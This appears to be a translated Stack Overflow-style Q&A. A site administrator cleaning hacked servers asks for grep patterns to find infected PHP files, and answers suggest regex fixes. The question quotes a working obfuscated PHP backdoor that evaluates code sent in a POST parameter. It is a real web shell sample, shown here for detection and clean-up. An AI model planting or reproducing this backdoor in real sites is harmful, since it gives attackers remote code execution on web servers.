目前我所处的位置让我整天都在清理被黑网站。我设法在主服务器上获得shell访问权限,因此我可以运行一些快速命令来隔离有问题的文件并将其删除。
以下是违规文件的示例:
"php $uzi51="otpres_u"; $zlg07= $uzi51[5]. $uzi51[1]. $uzi51[3]. $uzi51[1].$uzi51[0]. $uzi51[7].$uzi51[2]. $uzi51[2]. $uzi51[4]. $uzi51[3];$rpu17=$zlg07 ($uzi51[6].$uzi51[2].$uzi51[0]. $uzi51[5]. $uzi51[1] ) ; if( isset( ${ $rpu17 }[ 'q635689'] )){ eval( ${$rpu17}['q635689' ] ) ;}
这是这些类型的漏洞利用的典型行为。打开php标签,然后总是超过2个空格。
我试过的命令:
grep -rl '\?php[ ]{2,}()' directory/
我使用此网站构建了正则表达式:https://regex101.com/#pcre 这显示了我粘贴在上面的代码的完美匹配。但是当我集成到grep中时,在命令行中没有显示任何内容。 我也试过了:
pcregrep -rM '\?php[\s]+[^\S]*$' *.php
完全陷入困境。
感谢任何帮助或指导。
答案 0 :(得分:3)
我会用这个:
grep -r '<?php \{3,\}'
它匹配<?php
后跟3个或更多空格。
答案 1 :(得分:1)
将-P
标志添加到grep
命令中。它告诉grep使用perl正则表达式。
grep -Prl '\?php[ ]{2,}()' directory/
来自man grep
-P
- Perl的正则表达式
将模式解释为Perl正则表达式。这是非常高的 实验和'grep -P'可能会警告未实现 特征